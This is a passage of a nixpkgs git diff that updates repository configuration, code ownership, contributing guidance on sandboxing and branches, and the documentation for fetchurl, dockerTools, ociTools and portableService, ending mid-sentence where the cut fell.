diff options
5430 files changed, 199257 insertions, 51585 deletions
diff --git a/.editorconfig b/.editorconfig index c4682829e357b..8d54e327b9f93 100644 --- a/.editorconfig +++ b/.editorconfig @@ -17,6 +17,10 @@ end_of_line = unset insert_final_newline = unset trim_trailing_whitespace = unset +# We want readFile .version to return the version without a newline. +[.version] +insert_final_newline = false + # see https://nixos.org/nixpkgs/manual/#chap-conventions # Match json/lockfiles/markdown/nix/perl/python/ruby/shell/docbook files, set indent to spaces @@ -108,3 +112,7 @@ charset = unset [lib/tests/*.plist] indent_style = tab insert_final_newline = unset + +[pkgs/kde/generated/**] +insert_final_newline = unset +end_of_line = unset diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 0ee2971b5af06..278e11ce68630 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -185,11 +185,18 @@ pkgs/development/python-modules/buildcatrust/ @ajs124 @lukegb @mweinelt # Licenses /lib/licenses.nix @alyssais -# Qt / KDE -/pkgs/applications/kde @ttuegel -/pkgs/desktops/plasma-5 @ttuegel -/pkgs/development/libraries/kde-frameworks @ttuegel -/pkgs/development/libraries/qt-5 @ttuegel +# Qt +/pkgs/development/libraries/qt-5 @NixOS/qt-kde +/pkgs/development/libraries/qt-6 @NixOS/qt-kde + +# KDE / Plasma 5 +/pkgs/applications/kde @NixOS/qt-kde +/pkgs/desktops/plasma-5 @NixOS/qt-kde +/pkgs/development/libraries/kde-frameworks @NixOS/qt-kde + +# KDE / Plasma 6 +/pkgs/kde @NixOS/qt-kde +/maintainers/scripts/kde @NixOS/qt-kde # PostgreSQL and related stuff /pkgs/servers/sql/postgresql @thoughtpolice @marsam @@ -271,13 +278,13 @@ pkgs/development/python-modules/buildcatrust/ @ajs124 @lukegb @mweinelt /pkgs/applications/editors/vscode/extensions @jonringer # PHP interpreter, packages, extensions, tests and documentation -/doc/languages-frameworks/php.section.md @aanderse @drupol @etu @globin @ma27 @talyz -/nixos/tests/php @aanderse @drupol @etu @globin @ma27 @talyz -/pkgs/build-support/php/build-pecl.nix @aanderse @drupol @etu @globin @ma27 @talyz -/pkgs/build-support/php @drupol @etu -/pkgs/development/interpreters/php @jtojnar @aanderse @drupol @etu @globin @ma27 @talyz -/pkgs/development/php-packages @aanderse @drupol @etu @globin @ma27 @talyz -/pkgs/top-level/php-packages.nix @jtojnar @aanderse @drupol @etu @globin @ma27 @talyz +/doc/languages-frameworks/php.section.md @aanderse @drupol @globin @ma27 @talyz +/nixos/tests/php @aanderse @drupol @globin @ma27 @talyz +/pkgs/build-support/php/build-pecl.nix @aanderse @drupol @globin @ma27 @talyz +/pkgs/build-support/php @drupol +/pkgs/development/interpreters/php @jtojnar @aanderse @drupol @globin @ma27 @talyz +/pkgs/development/php-packages @aanderse @drupol @globin @ma27 @talyz +/pkgs/top-level/php-packages.nix @jtojnar @aanderse @drupol @globin @ma27 @talyz # Docker tools /pkgs/build-support/docker @roberth diff --git a/.github/workflows/update-terraform-providers.yml b/.github/workflows/update-terraform-providers.yml index 108c0590d6bbd..77486c7222876 100644 --- a/.github/workflows/update-terraform-providers.yml +++ b/.github/workflows/update-terraform-providers.yml @@ -46,7 +46,7 @@ jobs: run: | git clean -f - name: create PR - uses: peter-evans/create-pull-request@153407881ec5c347639a548ade7d8ad1d6740e38 # v5.0.2 + uses: peter-evans/create-pull-request@a4f52f8033a6168103c2538976c07b467e8163bc # v6.0.1 with: body: | Automatic update by [update-terraform-providers](https://github.com/NixOS/nixpkgs/blob/master/.github/workflows/update-terraform-providers.yml) action. diff --git a/.gitignore b/.gitignore index f0807473f06b3..e73debc369c57 100644 --- a/.gitignore +++ b/.gitignore @@ -11,6 +11,7 @@ outputs/ result-* result repl-result-* +tags !pkgs/development/python-modules/result /doc/NEWS.html /doc/NEWS.txt diff --git a/.version b/.version index 420f61e8c7f66..a408b4d1748c3 100644..120000 --- a/.version +++ b/.version @@ -1 +1 @@ -24.05 \ No newline at end of file +lib/.version \ No newline at end of file diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 55232e9c3a545..115dd993ea62f 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -129,19 +129,17 @@ When a PR is created, it will be pre-populated with some checkboxes detailed bel #### Tested using sandboxing -When sandbox builds are enabled, Nix will setup an isolated environment for each build process. It is used to remove further hidden dependencies set by the build environment to improve reproducibility. This includes access to the network during the build outside of `fetch*` functions and files outside the Nix store. Depending on the operating system access to other resources are blocked as well (ex. inter process communication is isolated on Linux); see [sandbox](https://nixos.org/manual/nix/stable/command-ref/conf-file#conf-sandbox) in the Nix manual for details. +When sandbox builds are enabled, Nix will set up an isolated environment for each build process. +It is used to remove further hidden dependencies set by the build environment to improve reproducibility. +This includes access to the network during the build outside of `fetch*` functions and files outside the Nix store. +Depending on the operating system, access to other resources is blocked as well (e.g., inter-process communication is isolated on Linux); see [sandbox](https://nixos.org/manual/nix/stable/command-ref/conf-file#conf-sandbox) in the Nix manual for details. -Sandboxing is not enabled by default in Nix due to a small performance hit on each build. In pull requests for [nixpkgs](https://github.com/NixOS/nixpkgs/) people are asked to test builds with sandboxing enabled (see `Tested using sandboxing` in the pull request template) because in [Hydra](https://nixos.org/hydra/) sandboxing is also used. +In pull requests for [nixpkgs](https://github.com/NixOS/nixpkgs/) people are asked to test builds with sandboxing enabled (see `Tested using sandboxing` in the pull request template) because in [Hydra](https://nixos.org/hydra/) sandboxing is also used. -Depending if you use NixOS or other platforms you can use one of the following methods to enable sandboxing **before** building the package: +If you are on Linux, sandboxing is enabled by default. +On other platforms, sandboxing is disabled by default due to a small performance hit on each build. -- **Globally enable sandboxing on NixOS**: add the following to `configuration.nix` - - ```nix - nix.settings.sandbox = true; - ``` - -- **Globally enable sandboxing on non-NixOS platforms**: add the following to: `/etc/nix/nix.conf` +Please enable sandboxing **before** building the package by adding the following to: `/etc/nix/nix.conf`: ```ini sandbox = true @@ -441,14 +439,14 @@ gitGraph Here's an overview of the different branches: -| branch | `master` | `staging` | `staging-next` | +| branch | `master` | `staging-next` | `staging` | | --- | --- | --- | --- | -| Used for development | ✔️ | ✔️ | ❌ | -| Built by Hydra | ✔️ | ❌ | ✔️ | -| [Mass rebuilds][mass-rebuild] | ❌ | ✔️ | ⚠️ Only to fix Hydra builds | -| Critical security fixes | ✔️ for non-mass-rebuilds | ❌ | ✔️ for mass-rebuilds | -| Automatically merged into | `staging-next` | - | `staging` | -| Manually merged into | - | `staging-next` | `master` | +| Used for development | ✔️ | ❌ | ✔️ | +| Built by Hydra | ✔️ | ✔️ | ❌ | +| [Mass rebuilds][mass-rebuild] | ❌ | ⚠️ Only to fix Hydra builds | ✔️ | +| Critical security fixes | ✔️ for non-mass-rebuilds | ✔️ for mass-rebuilds | ❌ | +| Automatically merged into | `staging-next` | `staging` | - | +| Manually merged into | - | `master` | `staging-next` | The staging workflow is used for all main branches, `master` and `release-YY.MM`, with corresponding names: - `master`/`release-YY.MM` diff --git a/doc/build-helpers/fetchers.chapter.md b/doc/build-helpers/fetchers.chapter.md index 7bd1bbd6de029..ad2378fd0e742 100644 --- a/doc/build-helpers/fetchers.chapter.md +++ b/doc/build-helpers/fetchers.chapter.md @@ -80,6 +80,10 @@ stdenv.mkDerivation { The main difference between `fetchurl` and `fetchzip` is in how they store the contents. `fetchurl` will store the unaltered contents of the URL within the Nix store. `fetchzip` on the other hand, will decompress the archive for you, making files and directories directly accessible in the future. `fetchzip` can only be used with archives. Despite the name, `fetchzip` is not limited to .zip files and can also be used with any tarball. +Additional parameters to `fetchurl`: +- `downloadToTemp`: Defaults to `false`. If `true`, saves the source to `$downloadedFile`, to be used in conjunction with `postFetch` +- `postFetch`: Shell code executed after the file has been fetched successfully. Use it for postprocessing, to check or transform the file. + ## `fetchpatch` {#fetchpatch} `fetchpatch` works very similarly to `fetchurl` with the same arguments expected. It expects patch files as a source and performs normalization on them before computing the checksum. For example, it will remove comments or other unstable parts that are sometimes added by version control systems and can change over time. diff --git a/doc/build-helpers/images/dockertools.section.md b/doc/build-helpers/images/dockertools.section.md index 9317146b8f94e..001d5695290ed 100644 --- a/doc/build-helpers/images/dockertools.section.md +++ b/doc/build-helpers/images/dockertools.section.md @@ -6,7 +6,7 @@ Docker itself is not used to perform any of the operations done by these functio ## buildImage {#ssec-pkgs-dockerTools-buildImage} This function builds a Docker-compatible repository tarball containing a single image. -As such, the result is suitable for being loaded in Docker with `docker load` (see [](#ex-dockerTools-buildImage) for how to do this). +As such, the result is suitable for being loaded in Docker with `docker image load` (see [](#ex-dockerTools-buildImage) for how to do this). This function will create a single layer for all files (and dependencies) that are specified in its argument. Only new dependencies that are not already in the existing layers will be copied. @@ -43,7 +43,7 @@ Similarly, if you encounter errors similar to `Error_Protocol ("certificate has `fromImage` (Path or Null; _optional_) : The repository tarball of an image to be used as the base for the generated image. - It must be a valid Docker image, such as one exported by `docker save`, or another image built with the `dockerTools` utility functions. + It must be a valid Docker image, such as one exported by `docker image save`, or another image built with the `dockerTools` utility functions. This can be seen as an equivalent of `FROM fromImage` in a `Dockerfile`. A value of `null` can be seen as an equivalent of `FROM scratch`. @@ -123,7 +123,7 @@ Similarly, if you encounter errors similar to `Error_Protocol ("certificate has _Default value:_ `""`. -`config` (Attribute Set; _optional_) +`config` (Attribute Set or Null; _optional_) : Used to specify the configuration of the containers that will be started off the generated image. Must be an attribute set, with each attribute as listed in the [Docker Image Specification v1.3.0](https://github.com/moby/moby/blob/46f7ab808b9504d735d600e259ca0723f76fb164/image/spec/spec.md#image-json-field-descriptions). @@ -178,6 +178,13 @@ Similarly, if you encounter errors similar to `Error_Protocol ("certificate has _Default value:_ 0. +`compressor` (String; _optional_) + +: Selects the algorithm used to compress the image. + + _Default value:_ `"gz"`.\ + _Possible values:_ `"none"`, `"gz"`, `"zstd"`. + `contents` **DEPRECATED** : This attribute is deprecated, and users are encouraged to use `copyToRoot` instead. @@ -247,7 +254,7 @@ Cooking the image... Finished. /nix/store/p4dsg62inh9d2ksy3c7bv58xa851dasr-docker-image-redis.tar.gz -$ docker load -i /nix/store/p4dsg62inh9d2ksy3c7bv58xa851dasr-docker-image-redis.tar.gz +$ docker image load -i /nix/store/p4dsg62inh9d2ksy3c7bv58xa851dasr-docker-image-redis.tar.gz (some output removed for clarity) Loaded image: redis:latest ``` @@ -345,8 +352,8 @@ dockerTools.buildImage { After importing the generated repository tarball with Docker, its CLI will display a reasonable date and sort the images as expected: -```ShellSession -$ docker images +```shell +$ docker image ls REPOSITORY TAG IMAGE ID CREATED SIZE hello latest de2bf4786de6 About a minute ago 25.2MB ``` @@ -364,7 +371,7 @@ Despite the similar name, [`buildImage`](#ssec-pkgs-dockerTools-buildImage) work Even though some of the arguments may seem related, they cannot be interchanged. ::: -You can use this function to load an image in Docker with `docker load`. +You can load the result of this function in Docker with `docker image load`. See [](#ex-dockerTools-buildLayeredImage-hello) to see how to do that. ### Examples {#ssec-pkgs-dockerTools-buildLayeredImage-examples} @@ -404,7 +411,7 @@ Adding manifests... Done. /nix/store/hxcz7snvw7f8rzhbh6mv8jq39d992905-hello.tar.gz -$ docker load -i /nix/store/hxcz7snvw7f8rzhbh6mv8jq39d992905-hello.tar.gz +$ docker image load -i /nix/store/hxcz7snvw7f8rzhbh6mv8jq39d992905-hello.tar.gz (some output removed for clarity) Loaded image: hello:latest ``` @@ -415,7 +422,7 @@ Loaded image: hello:latest `streamLayeredImage` builds a **script** which, when run, will stream to stdout a Docker-compatible repository tarball containing a single image, using multiple layers to improve sharing between images. This means that `streamLayeredImage` does not output an image into the Nix store, but only a script that builds the image, saving on IO and disk/cache space, particularly with large images. -You can use this function to load an image in Docker with `docker load`. +You can load the result of this function in Docker with `docker image load`. See [](#ex-dockerTools-streamLayeredImage-hello) to see how to do that. For this function, you specify a [store path](https://nixos.org/manual/nix/stable/store/store-path) or a list of store paths to be added to the image, and the functions will automatically include any dependencies of those paths in the image. @@ -440,7 +447,7 @@ This allows the function to produce reproducible images. : The name of the generated image. -`tag` (String; _optional_) +`tag` (String or Null; _optional_) : Tag of the generated image. If `null`, the hash of the nix derivation will be used as the tag. @@ -450,7 +457,7 @@ This allows the function to produce reproducible images. `fromImage`(Path or Null; _optional_) : The repository tarball of an image to be used as the base for the generated image. - It must be a valid Docker image, such as one exported by `docker save`, or another image built with the `dockerTools` utility functions. + It must be a valid Docker image, such as one exported by `docker image save`, or another image built with the `dockerTools` utility functions. This can be seen as an equivalent of `FROM fromImage` in a `Dockerfile`. A value of `null` can be seen as an equivalent of `FROM scratch`. @@ -470,7 +477,7 @@ This allows the function to produce reproducible images. _Default value:_ `[]` -`config` (Attribute Set; _optional_) []{#dockerTools-buildLayeredImage-arg-config} +`config` (Attribute Set or Null; _optional_) []{#dockerTools-buildLayeredImage-arg-config} : Used to specify the configuration of the containers that will be started off the generated image. Must be an attribute set, with each attribute as listed in the [Docker Image Specification v1.3.0](https://github.com/moby/moby/blob/46f7ab808b9504d735d600e259ca0723f76fb164/image/spec/spec.md#image-json-field-descriptions). @@ -500,6 +507,16 @@ This allows the function to produce reproducible images. _Default value:_ `"1970-01-01T00:00:01Z"`. +`uid` (Number; _optional_) []{#dockerTools-buildLayeredImage-arg-uid} +`gid` (Number; _optional_) []{#dockerTools-buildLayeredImage-arg-gid} +`uname` (String; _optional_) []{#dockerTools-buildLayeredImage-arg-uname} +`gname` (String; _optional_) []{#dockerTools-buildLayeredImage-arg-gname} + +: Credentials for Nix store ownership. + Can be overridden to e.g. `1000` / `1000` / `"user"` / `"user"` to enable building a container where Nix can be used as an unprivileged user in single-user mode. + + _Default value:_ `0` / `0` / `"root"` / `"root"` + `maxLayers` (Number; _optional_) []{#dockerTools-buildLayeredImage-arg-maxLayers} : The maximum number of layers that will be used by the generated image. @@ -594,7 +611,7 @@ dockerTools.streamLayeredImage { ``` The result of building this package is a script. -Running this script and piping it into `docker load` gives you the same image that was built in [](#ex-dockerTools-buildLayeredImage-hello). +Running this script and piping it into `docker image load` gives you the same image that was built in [](#ex-dockerTools-buildLayeredImage-hello). Note that in this case, the image is never added to the Nix store, but instead streamed directly into Docker. ```shell @@ -602,7 +619,7 @@ $ nix-build (output removed for clarity) /nix/store/wsz2xl8ckxnlb769irvq6jv1280dfvxd-stream-hello -$ /nix/store/wsz2xl8ckxnlb769irvq6jv1280dfvxd-stream-hello | docker load +$ /nix/store/wsz2xl8ckxnlb769irvq6jv1280dfvxd-stream-hello | docker image load No 'fromImage' provided Creating layer 1 from paths: ['/nix/store/i93s7xxblavsacpy82zdbn4kplsyq48l-libunistring-1.1'] Creating layer 2 from paths: ['/nix/store/ji01n9vinnj22nbrb86nx8a1ssgpilx8-libidn2-2.3.4'] @@ -718,7 +735,7 @@ dockerTools.streamLayeredImage { []{#ssec-pkgs-dockerTools-fetchFromRegistry} ## pullImage {#ssec-pkgs-dockerTools-pullImage} -This function is similar to the `docker pull` command, which means it can be used to pull a Docker image from a registry that implements the [Docker Registry HTTP API V2](https://distribution.github.io/distribution/spec/api/). +This function is similar to the `docker image pull` command, which means it can be used to pull a Docker image from a registry that implements the [Docker Registry HTTP API V2](https://distribution.github.io/distribution/spec/api/). By default, the `docker.io` registry is used. The image will be downloaded as an uncompressed Docker-compatible repository tarball, which is suitable for use with other `dockerTools` functions such as [`buildImage`](#ssec-pkgs-dockerTools-buildImage), [`buildLayeredImage`](#ssec-pkgs-dockerTools-buildLayeredImage), and [`streamLayeredImage`](#ssec-pkgs-dockerTools-streamLayeredImage). @@ -1105,7 +1122,7 @@ This is currently implemented by linking to the `env` binary from the `coreutils ### binSh {#sssec-pkgs-dockerTools-helpers-binSh} This provides a `/bin/sh` link to the `bash` binary from the `bashInteractive` package. -Because of this, it supports cases such as running a command interactively in a container (for example by running `docker run -it <image_name>`). +Because of this, it supports cases such as running a command interactively in a container (for example by running `docker container run -it <image_name>`). ### caCertificates {#sssec-pkgs-dockerTools-helpers-caCertificates} @@ -1169,9 +1186,9 @@ This is made possible by `binSh`. $ nix-build (some output removed for clarity) /nix/store/2p0i3i04cgjlk71hsn7ll4kxaxxiv4qg-docker-image-env-helpers.tar.gz -$ docker load -i /nix/store/2p0i3i04cgjlk71hsn7ll4kxaxxiv4qg-docker-image-env-helpers.tar.gz +$ docker image load -i /nix/store/2p0i3i04cgjlk71hsn7ll4kxaxxiv4qg-docker-image-env-helpers.tar.gz (output removed for clarity) -$ docker run --rm -it env-helpers:latest /bin/sh +$ docker container run --rm -it env-helpers:latest /bin/sh sh-5.2# help GNU bash, version 5.2.21(1)-release (x86_64-pc-linux-gnu) (rest of output removed for clarity) @@ -1209,9 +1226,9 @@ This is made possible by `binSh`. $ nix-build (some output removed for clarity) /nix/store/rpf47f4z5b9qr4db4ach9yr4b85hjhxq-env-helpers.tar.gz -$ docker load -i /nix/store/rpf47f4z5b9qr4db4ach9yr4b85hjhxq-env-helpers.tar.gz +$ docker image load -i /nix/store/rpf47f4z5b9qr4db4ach9yr4b85hjhxq-env-helpers.tar.gz (output removed for clarity) -$ docker run --rm -it env-helpers:latest /bin/sh +$ docker container run --rm -it env-helpers:latest /bin/sh sh-5.2# help GNU bash, version 5.2.21(1)-release (x86_64-pc-linux-gnu) (rest of output removed for clarity) @@ -1315,7 +1332,7 @@ $ nix-build (some output removed for clarity) /nix/store/pkj1sgzaz31wl0pbvbg3yp5b3kxndqms-hello-2.12.1-env.tar.gz -$ docker load -i /nix/store/pkj1sgzaz31wl0pbvbg3yp5b3kxndqms-hello-2.12.1-env.tar.gz +$ docker image load -i /nix/store/pkj1sgzaz31wl0pbvbg3yp5b3kxndqms-hello-2.12.1-env.tar.gz (some output removed for clarity) Loaded image: hello-2.12.1-env:latest ``` @@ -1323,7 +1340,7 @@ Loaded image: hello-2.12.1-env:latest After starting an interactive container, the derivation can be built by running `buildDerivation`, and the output can be executed as expected: ```shell -$ docker run -it hello-2.12.1-env:latest +$ docker container run -it hello-2.12.1-env:latest [nix-shell:~]$ buildDerivation Running phase: unpackPhase unpacking source archive /nix/store/pa10z4ngm0g83kx9mssrqzz30s84vq7k-hello-2.12.1.tar.gz @@ -1443,14 +1460,14 @@ dockerTools.streamNixShellImage { ``` The result of building this package is a script. -Running this script and piping it into `docker load` gives you the same image that was built in [](#ex-dockerTools-buildNixShellImage-hello). +Running this script and piping it into `docker image load` gives you the same image that was built in [](#ex-dockerTools-buildNixShellImage-hello). ```shell $ nix-build (some output removed for clarity) /nix/store/8vhznpz2frqazxnd8pgdvf38jscdypax-stream-hello-2.12.1-env -$ /nix/store/8vhznpz2frqazxnd8pgdvf38jscdypax-stream-hello-2.12.1-env | docker load +$ /nix/store/8vhznpz2frqazxnd8pgdvf38jscdypax-stream-hello-2.12.1-env | docker image load (some output removed for clarity) Loaded image: hello-2.12.1-env:latest ``` @@ -1458,7 +1475,7 @@ Loaded image: hello-2.12.1-env:latest After starting an interactive container, the derivation can be built by running `buildDerivation`, and the output can be executed as expected: ```shell -$ docker run -it hello-2.12.1-env:latest +$ docker container run -it hello-2.12.1-env:latest [nix-shell:~]$ buildDerivation Running phase: unpackPhase unpacking source archive /nix/store/pa10z4ngm0g83kx9mssrqzz30s84vq7k-hello-2.12.1.tar.gz @@ -1497,14 +1514,14 @@ dockerTools.streamNixShellImage { } ``` -The result of building this package is a script which can be run and piped into `docker load` to load the generated image. +The result of building this package is a script which can be run and piped into `docker image load` to load the generated image. ```shell $ nix-build (some output removed for clarity) /nix/store/h5abh0vljgzg381lna922gqknx6yc0v7-stream-hello-2.12.1-env -$ /nix/store/h5abh0vljgzg381lna922gqknx6yc0v7-stream-hello-2.12.1-env | docker load +$ /nix/store/h5abh0vljgzg381lna922gqknx6yc0v7-stream-hello-2.12.1-env | docker image load (some output removed for clarity) Loaded image: hello-2.12.1-env:latest ``` @@ -1512,7 +1529,7 @@ Loaded image: hello-2.12.1-env:latest After starting an interactive container, we can verify the extra package is available by running `cowsay`: ```shell -$ docker run -it hello-2.12.1-env:latest +$ docker container run -it hello-2.12.1-env:latest [nix-shell:~]$ cowsay "Hello, world!" _______________ < Hello, world! > @@ -1546,14 +1563,14 @@ dockerTools.streamNixShellImage { } ``` -The result of building this package is a script which can be run and piped into `docker load` to load the generated image. +The result of building this package is a script which can be run and piped into `docker image load` to load the generated image. ```shell $ nix-build (some output removed for clarity) /nix/store/iz4dhdvgzazl5vrgyz719iwjzjy6xlx1-stream-hello-2.12.1-env -$ /nix/store/iz4dhdvgzazl5vrgyz719iwjzjy6xlx1-stream-hello-2.12.1-env | docker load +$ /nix/store/iz4dhdvgzazl5vrgyz719iwjzjy6xlx1-stream-hello-2.12.1-env | docker image load (some output removed for clarity) Loaded image: hello-2.12.1-env:latest ``` @@ -1561,7 +1578,7 @@ Loaded image: hello-2.12.1-env:latest After starting an interactive container, we can see the result of the `shellHook`: ```shell -$ docker run -it hello-2.12.1-env:latest +$ docker container run -it hello-2.12.1-env:latest Hello, world! [nix-shell:~]$ diff --git a/doc/build-helpers/images/ocitools.section.md b/doc/build-helpers/images/ocitools.section.md index c35f65bce0073..96627615ffb54 100644 --- a/doc/build-helpers/images/ocitools.section.md +++ b/doc/build-helpers/images/ocitools.section.md @@ -1,37 +1,104 @@ # pkgs.ociTools {#sec-pkgs-ociTools} -`pkgs.ociTools` is a set of functions for creating containers according to the [OCI container specification v1.0.0](https://github.com/opencontainers/runtime-spec). Beyond that, it makes no assumptions about the container runner you choose to use to run the created container. +`pkgs.ociTools` is a set of functions for creating runtime container bundles according to the [OCI runtime specification v1.0.0](https://github.com/opencontainers/runtime-spec/blob/v1.0.0/spec.md). +It makes no assumptions about the container runner you choose to use to run the created container. + +The set of functions in `pkgs.ociTools` currently does not handle the [OCI image specification](https://github.com/opencontainers/image-spec). + +At a high-level an OCI implementation would download an OCI Image then unpack that image into an OCI Runtime filesystem bundle. +At this point the OCI Runtime Bundle would be run by an OCI Runtime. +`pkgs.ociTools` provides utilities to create OCI Runtime bundles. ## buildContainer {#ssec-pkgs-ociTools-buildContainer} -This function creates a simple OCI container that runs a single command inside of it. An OCI container consists of a `config.json` and a rootfs directory. The nix store of the container will contain all referenced dependencies of the given command. +This function creates an OCI runtime container (consisting of a `config.json` and a root filesystem directory) that runs a single command inside of it. +The nix store of the container will contain all referenced dependencies of the given command. + +This function has an assumption that the container will run on POSIX platforms, and sets configurations (such as the user running the process or certain mounts) according to this assumption. +Because of this, a container built with `buildContainer` will not work on Windows or other non-POSIX platforms without modifications to the container configuration. +These modifications aren't supported by `buildContainer`. + +For `linux` platforms, `buildContainer` also configures the following namespaces (see {manpage}`unshare(1)`) to isolate the OCI container from the global namespace: +PID, network, mount, IPC, and UTS. + +Note that no user namespace is created, which means that you won't be able to run the container unless you are the `root` user. + +### Inputs {#ssec-pkgs-ociTools-buildContainer-inputs} + +`buildContainer` expects an argument with the following attributes: + +`args` (List of String) + +: Specifies a set of arguments to run inside the container. + Any packages referenced by `args` will be made available inside the container. + +`mounts` (Attribute Set; _optional_) + +: Would specify additional mounts that the runtime must make available to the container. + + :::{.warning} + As explained in [issue #290879](https://github.com/NixOS/nixpkgs/issues/290879), this attribute is currently ignored. + ::: + + :::{.note} + `buildContainer` includes a minimal set of necessary filesystems to be mounted into the container, and this set can't be changed with the `mounts` attribute. + ::: + + _Default value:_ `{}`. -The parameters of `buildContainer` with an example value are described below: +`readonly` (Boolean; _optional_) + +: If `true`, sets the container's root filesystem as read-only. + + _Default value:_ `false`. + +`os` **DEPRECATED** + +: Specifies the operating system on which the container filesystem is based on. + If specified, its value should follow the [OCI Image Configuration Specification](https://github.com/opencontainers/image-spec/blob/main/config.md#properties). + According to the linked specification, all possible values for `$GOOS` in [the Go docs](https://go.dev/doc/install/source#environment) should be valid, but will commonly be one of `darwin` or `linux`. + + _Default value:_ `"linux"`. + +`arch` **DEPRECATED** + +: Used to specify the architecture for which the binaries in the container filesystem have been compiled. + If specified, its value should follow the [OCI Image Configuration Specification](https://github.com/opencontainers/image-spec/blob/main/config.md#properties). + According to the linked specification, all possible values for `$GOARCH` in [the Go docs](https://go.dev/doc/install/source#environment) should be valid, but will commonly be one of `386`, `amd64`, `arm`, or `arm64`. + + _Default value:_ `x86_64`. + +### Examples {#ssec-pkgs-ociTools-buildContainer-examples} + +::: {.example #ex-ociTools-buildContainer-bash} +# Creating an OCI runtime container that runs `bash` + +This example uses `ociTools.buildContainer` to create a simple container that runs `bash`. ```nix -buildContainer { +{ ociTools, lib, bash }: +ociTools.buildContainer { args = [ - (with pkgs; - writeScript "run.sh" '' - #!${bash}/bin/bash - exec ${bash}/bin/bash - '').outPath + (lib.getExe bash) ]; - mounts = { - "/data" = { - type = "none"; - source = "/var/lib/mydata"; - options = [ "bind" ]; - }; - }; - readonly = false; } ``` -- `args` specifies a set of arguments to run inside the container. This is the only required argument for `buildContainer`. All referenced packages inside the derivation will be made available inside the container. +As an example of how to run the container generated by this package, we'll use `runc` to start the container. +Any other tool that supports OCI containers could be used instead. -- `mounts` specifies additional mount points chosen by the user. By default only a minimal set of necessary filesystems are mounted into the container (e.g procfs, cgroupfs) +```shell +$ nix-build +(some output removed for clarity) +/nix/store/7f9hgx0arvhzp2a3qphp28rxbn748l25-join -- `readonly` makes the container's rootfs read-only if it is set to true. The default value is false `false`. +$ cd /nix/store/7f9hgx0arvhzp2a3qphp28rxbn748l25-join +$ nix-shell -p runc +[nix-shell:/nix/store/7f9hgx0arvhzp2a3qphp28rxbn748l25-join]$ sudo runc run ocitools-example +help +GNU bash, version 5.2.26(1)-release (x86_64-pc-linux-gnu) +(some output removed for clarity) +``` +::: diff --git a/doc/build-helpers/images/portableservice.section.md b/doc/build-helpers/images/portableservice.section.md index 5400928b158f8..c271bc775dbae 100644 --- a/doc/build-helpers/images/portableservice.section.md +++ b/doc/build-helpers/images/portableservice.section.md @@ -1,81 +1,174 @@ # pkgs.portableService {#sec-pkgs-portableService} -`pkgs.portableService` is a function to create _portable service images_, -as read-only, immutable, `squashfs` archives. +`pkgs.portableService` is a function to create [Portable Services](https://systemd.io/PORTABLE_SERVICES/) in a read-only, immutable, `squashfs` raw disk image. +This lets you use Nix to build images which can be run on many recent Linux distributions. -systemd supports a concept of [Portable Services](https://systemd.io/PORTABLE_SERVICES/). -Portable Services are a delivery method for system services that uses two specific features of container management: +::: {.note} +Portable services are supported starting with systemd 239 (released on 2018-06-22). +::: -* Applications are bundled. I.e. multiple services, their binaries and - all their dependencies are packaged in an image, and are run directly from it. -* Stricter default security policies, i.e. sandboxing of applications. +The generated image will contain the file system structure as required by the Portable Services specification, along with the packages given to `portableService` and all of their dependencies. +When generated, the image will exist in the Nix store with the `.raw` file extension, as required by the specification. +See [](#ex-portableService-hello) to understand how to use the output of `portableService`. -This allows using Nix to build images which can be run on many recent Linux distributions. +## Inputs {#ssec-pkgs-portableService-inputs} -The primary tool for interacting with Portable Services is `portablectl`, -and they are managed by the `systemd-portabled` system service. +`portableService` expects one argument with the following attributes: -::: {.note} -Portable services are supported starting with systemd 239 (released on 2018-06-22). -::: +`pname` (String) + +: The name of the portable service. + The generated image will be named according to the template `$pname_$version.raw`, which is supported by the Portable Services specification. + +`version` (String) + +: The version of the portable service. + The generated image will be named according to the template `$pname_$version.raw`, which is supported by the Portable Services specification. + +`units` (List of Attribute Set) + +: A list of derivations for systemd unit files. + Each derivation must produce a single file, and must have a name that starts with the value of `pname` and ends with the suffix of the unit type (e.g. ".service", ".socket", ".timer", and so on). + See [](#ex-portableService-hello) to better understand this naming constraint. + +`description` (String or Null; _optional_) + +: If specified, the value is added as `PORTABLE_PRETTY_NAME` to the `/etc/os-release` file in the generated image. + This could be used to provide more information to anyone inspecting the image. + + _Default value:_ `null`. + +`homepage` (String or Null; _optional_) + +: If specified, the value is added as `HOME_URL` to the `/etc/os-release` file in the generated image. + This could be used to provide more information to anyone inspecting the image. + + _Default value:_ `null`. + +`symlinks` (List of Attribute Set; _optional_) + +: A list of attribute sets in the format `{object, symlink}`. + For each item in the list, `portableService` will create a symlink in the path specified by `symlink` (relative to the root of the image) that points to `object`. + + All packages that `object` depends on and their dependencies are automatically copied into the image. + + This can be used to create symlinks for applications that assume some files to exist globally (`/etc/ssl` or `/bin/bash`, for example). + See [](#ex-portableService-symlinks) to understand how to do that. + + _Default value:_ `[]`. + +`contents` (List of Attribute Set; _optional_) -A very simple example of using `portableService` is described below: +: A list of additional derivations to be included as-is in the image. + These derivations will be included directly in a `/nix/store` directory inside the image. + + _Default value:_ `[]`. + +`squashfsTools` (Attribute Set; _optional_) + +: Allows you to override the package that provides {manpage}`mksquashfs(1)`, which is used internally by `portableService`. + + _Default value:_ `pkgs.squashfsTools`. + +`squash-compression` (String; _optional_) + +: Passed as the compression option to {manpage}`mksquashfs(1)`, which is used internally by `portableService`. + + _Default value:_ `"xz -Xdict-size 100%"`. + +`squash-block-size` (String; _optional_) + +: Passed as the block size option to {manpage}`mksquashfs(1)`, which is used internally by `portableService`. + + _Default value:_ `"1M"`. + +## Examples {#ssec-pkgs-portableService-examples} []{#ex-pkgs-portableService} +:::{.example #ex-portableService-hello} +# Building a Portable Service image + +The following example builds a Portable Service image with the `hello` package, along with a service unit that runs it. ```nix -pkgs.portableService { - pname = "demo"; - version = "1.0"; - units = [ demo-service demo-socket ]; +{ lib, writeText, portableService, hello }: +let + hello-service = writeText "hello.service" '' + [Unit] + Description=Hello world service + + [Service] + Type=oneshot + ExecStart=${lib.getExe hello} + ''; +in +portableService { + pname = "hello"; + inherit (hello) version; + units = [ hello-service ]; } ``` -The above example will build an squashfs archive image in `result/$pname_$version.raw`. The image will contain the -file system structure as required by the portable service specification, and a subset of the Nix store with all the -dependencies of the two derivations in the `units` list. -`units` must be a list of derivations, and their names must be prefixed with the service name (`"demo"` in this 